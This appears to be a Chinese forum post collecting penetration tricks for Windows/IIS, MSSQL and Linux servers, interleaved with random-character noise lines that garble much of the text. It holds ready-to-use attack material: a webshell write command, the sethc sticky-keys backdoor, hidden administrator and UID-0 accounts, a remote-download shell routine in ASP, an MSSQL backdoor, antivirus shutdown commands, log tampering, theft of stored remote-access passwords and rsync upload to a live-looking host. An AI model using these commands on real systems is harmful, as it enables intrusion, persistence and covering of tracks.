渗透技巧总结

admin

旁站路径问题
# r6 b' x# a0 `% J, V& P( C8 K7 e3 T1、读网站配置。
2、用以下VBS
On Error Resume Next
9 K9 T7 l3 Z, t! G7 IIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
4 z" ?6 I9 @4 y) s
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
8 h1 P- I) E  C  Z# p- L5 b        WScript.Quit
) E  |: s7 V# a' Y; J; D: m. [4 X- fEnd If
. i1 A; R, w" s8 X5 ~: `/ YSet ObjService=GetObject
9 _+ z4 Z1 U2 P) P( w2 Y& Z. L( q
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
' _% [% m& D/ g2 L1 |* b1 V0 f        If IsNumeric(obj3w.Name)

) v" k9 q2 L2 Q/ t" BThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
, m) m6 F' S; [3 Z4 }) c. A         
5 K, [8 w/ P/ i/ G) B
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
7 s! F; @- c1 f# i: @, }
+ W$ v, k4 }2 ]1 P<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
0 E1 N  X( D+ u: W4 F
5 M  x- w) M; x3 s& |                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
! m& ]+ T+ n% y: l                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
3 Y/ }% p+ I3 s6 h8 _
, t3 m0 R. V- }) W5 l6 l5 R         WScript.Echo "ath            : " & VDirObj.Path
        End If
, F9 A" V8 s3 k, fNext
% W' d! T1 G4 W# u复制代码
5 l) k7 C- L7 ^/ B; R6 h7 Y4 |% G3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
% e# j$ _. ~: D1 r4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
; [5 G8 k/ D% c% |—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
% D- Y# H6 G; f0 p6 G* F4 G; o& g——————————————————————
phpMyAdmin暴路径办法:
+ n/ j# o2 }) YphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
& Y; E9 u9 l+ d5 yphpMyAdmin/index.php?lang[]=1
  z# T) _% N" `, r* A# J" Yphpmyadmin/themes/darkblue_orange/layout.inc.php
2 g" j  }0 y" Q0 k# v1 T. @6 M————————————————————
; p$ s' B% P- x) P2 e  L' T: `网站可能目录(注：一般是虚拟主机类）
/ H/ k0 X! p6 L$ c; S. Fdata/htdocs.网站/网站/
6 Y- V; C; f. r————————————————————
CMD下操作VPN相关
5 H8 N7 ~" m6 ~4 F# b: pnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
& X, m: j9 X: ?5 m9 rnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
6 Y# b& w0 }4 f4 G; |netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
0 F( T% Q& O" T7 c需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
1 c4 R+ J# ~7 A. n' L+ X  V9 k7 r然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
- A- {* R% n2 ]' L$ f3 ]
另类的加用户方法
- s1 L' J8 b* @/ U- V在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
  _& o: v1 P, n) q+ Kjs:
* [: a3 T% k% ^  [' v/ ~7 t! t( ^var o=new ActiveXObject( "Shell.Users" );
) _1 s: _/ D. J( x& {8 Pz=o.create("test") ;
- H" N/ [$ x; a* |2 _z.changePassword("123456","")
+ a- Z9 j2 g# G' d0 Q" [z.setting("AccountType")=3;
" A) r5 N5 W0 ?5 [- K
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
4 N7 X5 x# Q7 V. \2 R  J" hz.changePassword "123456",""
! i' S  u5 ]" u; X$ Sz.setting("AccountType")=3
( a3 |& B2 Z6 t3 K5 T——————————————————
" {! H' w2 C! j, M  |% fcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
9 h9 F+ D4 M1 xcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
  z( c8 x# n* X" O! }  i3 @————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
1 @8 z" T+ C2 N1 P, B. q4 dc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
4 J3 q; y, |; A/ u5 J' R- c9 G2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
, G; F: c$ x1 O1 E% ^处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
1 b, A) |! q. p, inet stop "Symantec AntiVirus Definition Watcher" /y
2 q- Z8 P* l5 P4 A4 `( @net stop "Symantec Event Manager" /y
' N' S- O; A! [. f+ U+ Anet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
6 X, c. ?1 n  W! {; q' G" m
卖咖啡：net stop "McAfee McShield"
3 |: n5 r& U5 @4 D————————————————————
* y2 j, s, u3 R9 M$ f3 k) g# U6 Y
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
5 ]$ |4 ?+ o& [9 J. [——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
8 i& w. {, q7 v: A3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
' G9 k6 q# \$ I! u: N6 M——————————————————————
1 O# K6 t' @- b2 S8 }3 g% }+ ~MSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
$ c) d6 N0 F# Y) ~' C9 u日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
6 L5 D; o0 G5 b! g/ `ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
) t3 C# X& x2 z1 @# i  J7 P8 X/ x当停止msftpsvc服务后可直接删除ex011124.log

8 p; M2 z% U% s; |+ C, [2 Z2 UMSSQL查询分析器连接记录清除：
, L: \3 Q1 c) I, h5 o! _5 e' k: }. cMSSQL 2000位于注册表如下：
) G4 ]! @$ ?; a- x( r1 C) VHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
. }% A6 ?3 `8 X  Z: e, H. @MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
; H3 p1 ?9 A! y- i( a, U—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
8 z8 Y# V5 I+ Z* ~+ C; h
, d* H6 f; p9 q) A7 {; i. ^8 _<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
9 J6 u2 C5 i+ wSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
: S: u3 [# W9 H/ BWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
3 `1 Q1 Y) ?, i0 x.Send
$ K6 X$ z5 o( b* c) U+ K$ ^! N$ YGetRemoteData = .ResponseBody
End With
' I2 r  e% J$ t! a6 T/ aSet Retrieval = Nothing
7 l9 P5 n. b: H- f# bSet Ads = Server.CreateObject("Adodb.Stream")
& N+ u1 b! }9 `/ N: l% vWith Ads
& Z0 T9 E- V' H3 B& O.Type = 1
/ M& t  C( D! e$ g& h  h* W.Open
.Write GetRemoteData
! U* o3 _  w" j  R$ s0 _  U+ M' I# f.SaveToFile Server.MapPath(s_LocalFileName), 2
0 s( A6 h/ Y; z' _& g.Cancel()
: N' h$ _9 z7 i* B" n8 ?.Close()
! ]- x2 I: R) p9 {! }! l$ ]" c+ \, b1 xEnd With
& e' e4 S/ o5 k4 t3 jSet Ads=nothing
! K' V* x8 ?+ ^) n  u  WEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

. c/ G( Q5 C+ d: h/ J: o0 UVNC提权方法:
5 W* U: K9 d0 w4 v0 ~" Y* M2 ?利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
. ^6 s1 ?+ C! X3 F& jregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
/ Z& r$ |2 M4 I8 IHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
: q* |, J5 d$ e- R" K# D4 w: R然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
8 u5 f+ ]- h: F3 o: r保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
0 P0 B% s& f$ D! j2 d3 j% l9 oUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
5 d: _6 [) j( J0 ~) \* b0 ^0 h搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
, S0 T2 ?* ?% ]5 s6 `+ u6 Q+ B——————————————————----------
7 n9 ]: u) U/ k" g" EWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

6 Z8 H. a( S) @- W% F1 N1433 SA点构建注入点。
6 r. i! m1 A  ^9 E& }& j4 H: z<%
, G! t, B- |+ h$ k2 t6 hstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
. D2 Z0 i0 Z0 k' c7 t  P. bstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
2 ~0 }* {: ?2 p1 J; |0 mstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

+ e, Z+ ?$ Y9 F+ w# r, z, X* r";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
& O/ E7 X; m- A% I+ R
strSQLDBName & ";"
conn.open strCon
6 i8 b7 Y+ T# m: H; k4 Sdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
7 h* b$ r' a+ s# ?  D0 h# RstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
- m  w# V; O/ U/ Zrs.close
- v  p; b5 h* ?  {3 R; `! X%>
复制代码
( ~  s% S0 t4 Y7 t- d) X******liunx 相关******
  R2 s' Y+ m& P一.ldap渗透技巧
% z; j) @4 r5 p3 ]1.cat /etc/nsswitch
$ ~* `, s- P, |) Y/ g, F- l+ a看看密码登录策略我们可以看到使用了file ldap模式
1 ?( ~, F0 v* m- ~5 d8 t
2.less /etc/ldap.conf
% h# {0 J; e5 @5 [/ Rbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
" Y2 {% S) A( F) t
, O6 m$ Y5 L) Y" G9 y3 D3.查找管理员信息
匿名方式
. e8 M' I- T$ z& g9 o; Wldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
8 ]9 S" N- o" ~3 W- aldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

7 R" W& l/ t9 q! L* a. U"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


/ n4 G/ z+ @5 N( |# S4.查找10条用户记录
+ i% F. `# `: V% [ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

! G% ]2 d( K! Q; T0 j8 Q: |实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
3 w5 U4 b' `8 r0 n" Y
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
' Y* D2 ~/ i) a* G9 p找到ou,dc,dc设置
( V  O& y0 f/ y7 p" S
1 X' D; V* v- z% P3 d3.查找管理员信息
$ _2 r/ S5 m( R1 J" x匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
. J. w5 u% E7 @9 g' v- a3 d( x5 vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" O0 D& r+ T% T1 S
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 D+ X0 W; u) g9 G7 Q
6 R3 T# R( d$ [" m5 j$ U
/ R8 U4 u5 g4 ^" Q8 S' r4.查找10条用户记录
6 {' i$ b" ]' J1 O. h2 Cldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
$ u7 ~. r1 `! U' _" l. e
渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
  w2 j! z, j4 a0 y- cdc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
& V1 ~- [* g7 X1 C2 eobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
9 I+ x, l+ w0 C. U/ B1 Kcn: manager
6 E- [/ ^/ K# W( y$ q0 V% j3 g
! M; S$ y8 _1 z* Q: _+ Gdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
7 y$ b( \. d& \' B' vobjectClass: inetOrgPerson
' v2 c; p* G+ Y5 n% v/ k! jobjectClass: organizationalPerson
8 \9 O+ t( v' MobjectClass: person
objectClass: top
5 n5 X* u, {# C1 [1 w" ysn: superadmin
cn: superadmin

4 K8 E; O4 @$ M% ^4 X2 ydn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
) _: d% V# _% P( r9 U# r6 kobjectClass: top
4 R7 B/ r) z. \sn: admin
" h" b. H& S- e' J: N6 \0 t/ g* L8 ccn: admin

0 y+ |  f; ?8 U+ ~5 [3 Fdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
1 t7 N- y( G) X$ Hsn: dcp_anonymous
7 ~* z) ^2 Y! J6 x- Bcn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
* \" \: a- z. Q) `% _version: 1
2 o* b. w' n- C, |+ s6 Bdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
: d* c* {; B7 E7 |  T  \9 e
3.查找
& r+ F' j* v" Q3 m$ i+ Kbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
1 B* d* o& B. f  R3 Cversion: 1
dn:
# I8 W% k( B# x! z5 E! oobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
2 s" I6 j  R) k2 B% fsupportedExtension: 2.16.840.1.113730.3.5.8
$ B; s' E. I  vsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
- g: J. n0 l( {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
5 ?+ h( w0 f3 {+ N  HsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
* M) _# V  G0 v* O; M! A4 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
# Q( @; r; n0 l& Z9 h" [# ~3 [, ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
$ z, ?2 N5 i- p# a9 _" b( @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
3 F. N3 f/ h9 Z* u" l) \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
0 w, I% Z/ j3 K8 f: tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
2 b* `) J, r/ \) p* l) z' [9 ?2 H0 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
# Q% t2 X) q9 P6 g2 r  O7 x8 B  xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
9 @( ^6 i5 i: a; n, D% C$ ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
8 _7 F: ~# O$ M/ d) N( E9 UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
. Y6 C0 U5 z6 S4 L! `2 l# A, vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
4 O; L7 O% c( v' B! x% zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
5 e. b+ O* i, g4 x2 ^) FsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
8 @% `5 n- s$ r$ zsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
- I+ q% P2 E3 {7 t/ u& V# jsupportedControl: 1.2.840.113556.1.4.473
0 P# q$ i4 X$ K0 Y, j; k" GsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
  P! }" C0 P: X" T# e; m5 nsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
7 C4 c6 s$ Y0 V7 |/ o- |% DsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
' p, ?& x# x# ~3 F$ [* ]5 osupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
  y4 v6 y3 |; n  X/ I0 Y, CsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
1 d  Z) X% X6 e3 E! MsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
% X/ f; j, G7 u! `6 g2 PsupportedSASLMechanisms: DIGEST-MD5
) i. y8 C' l8 i- ]supportedLDAPVersion: 2
, F0 X0 z- C& M/ QsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
6 R/ _( B6 p0 b* l4 P& [% q& QvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
. M8 q9 i; T# K$ o' g9 H2 CsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
/ R& P* h1 r3 S0 c. Y: osupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
1 U" t' K* U3 b& m; WsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
, g2 X# r3 {1 [' S" x) tsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
5 I1 S" B5 s; N% R* fsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
) \0 ~. g7 H" X* k+ V( R- R; V1 psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
0 }$ s6 U9 k& X/ q( ?3 e4 x" {supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
' o" T6 X, F) _7 e9 ^# YsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
. D% d3 N7 D5 BsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
7 K: j, g% P- a9 K2 D5 I! q- b: }8 bsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
/ @' G2 q; b3 a9 W& tsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
8 N  q! ]9 W/ d8 a6 ~, @supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
' W: f9 v+ P+ A, [/ QsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
" N: G% L% A: h  r8 QsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
6 S) l9 Z7 r: }5 d! N# z2 ~supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
- c8 _. |- X, s, [2 tsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
% Z5 E5 L! W: CsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
" F) p0 A# r3 l6 j$ U! ?supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
8 {( O- `$ L$ E- A' \& MsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
; H# a4 ]4 M) C& g- ?& bsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
  `/ {9 F" @# U& e  \5 LsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
: B( o: m# D, T( d; y( z% r* d6 FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
" e: B7 M; K  d6 L0 F4 |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
& o4 `, B" P; ]9 x7 {1 jsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
8 {- O! q6 d, |; `' L# C6 c$ C: ZsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
, F. }6 w% u) i7 h1 F! f' f2 Z" }1 y8 C+ tsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
  f. K6 ]$ X6 R! jsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
: w7 ]+ T& p5 K+ _+ p2. NFS渗透技巧
- ~; i4 Y8 H# a6 G% S2 \2 @# Eshowmount -e ip
列举IP
( E7 Q, ^4 g3 D+ G% j; O! F7 u——————
, y& V$ h' c  j, u, t3.rsync渗透技巧
7 O. Y( p1 J5 U# G8 R1.查看rsync服务器上的列表
5 K' l$ h# Y. _; B$ Lrsync 210.51.X.X::
finance
img_finance
auto
! X' q/ }5 d$ l( Simg_auto
8 t% m* q0 g5 y- @html_cms
img_cms
0 i% k, x! J3 i- o) {, o/ k2 kent_cms
7 R0 e) z( f" ^/ F  Z% c# gent_img
" u- Q) {* s/ Dceshi
res_img
: M) ~: h, f. k" ?res_img_c2
chip
3 G5 E- [- c  achip_c2
7 m% k' o9 x4 Kent_icms
games
) v( Q( j  Q# Lgamesimg
media
mediaimg
fashion
res-fashion
! f7 ^& k! [% }& L) ires-fo
: H; I* {5 Z2 V& @$ l7 Ttaobao-home
) d, }( I. f! `# o7 Q- z7 |; wres-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
home
) H# s3 F# J9 Q6 N3 C7 r1 jedu
news
' ^3 e, C' N3 G) ^7 `* O: X6 dres-book
" k$ I6 L$ z0 b3 h/ P; \5 `
看相应的下级目录(注意一定要在目录后面添加上/)


' w5 n( S! s% M. Rrsync 210.51.X.X::htdocs_app/
1 ]6 |* `# f: H  m! X; Qrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
$ ~5 o/ L0 G; T  ?6 Yrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
/ Z# c2 ?6 D# Z) [$ }5 ^, U
3.向上更新rsync文件(成功上传,不会覆盖)
9 a5 ]7 i+ {2 i3 ~: ^' Srsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
7 d3 V' h4 H+ m( v
四.squid渗透技巧
nc -vv baidu.com 80
. _( t) b/ ?$ q8 ]+ _6 gGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
* y0 j  f3 p3 G8 `; ?五.SSH端口转发
' W% k, F- `  Q% }: v0 Mssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
$ U1 V  F% Z7 s5 r8 e# K
六.joomla渗透小技巧
) h- \5 k% X# F8 ]9 ^  }确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

1 i7 ^+ `# b3 Q8 I$ S15&catid=32:languages&Itemid=47

重新设置密码
- g; `% ^1 V! P( \8 S2 @" Aindex.php?option=com_user&view=reset&layout=confirm

' ^$ Z0 A$ S7 ~' _; f七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
( r4 i2 ?1 O) v' ?
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
0 B4 g* k+ r% ?+ R; b6 s* [argp@julius ~]$ sysctl vfs.usermount
  a/ d! ~! u6 h* l) h" n. N* vfs.usermount: 1
  t+ R2 p! y5 r6 J* [argp@julius ~]$ id
' [4 b, C( Y3 H9 n0 j, R3 ~* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
7 J" \6 F4 J  y* [argp@julius ~]$ ./nfs_mount_ex
*
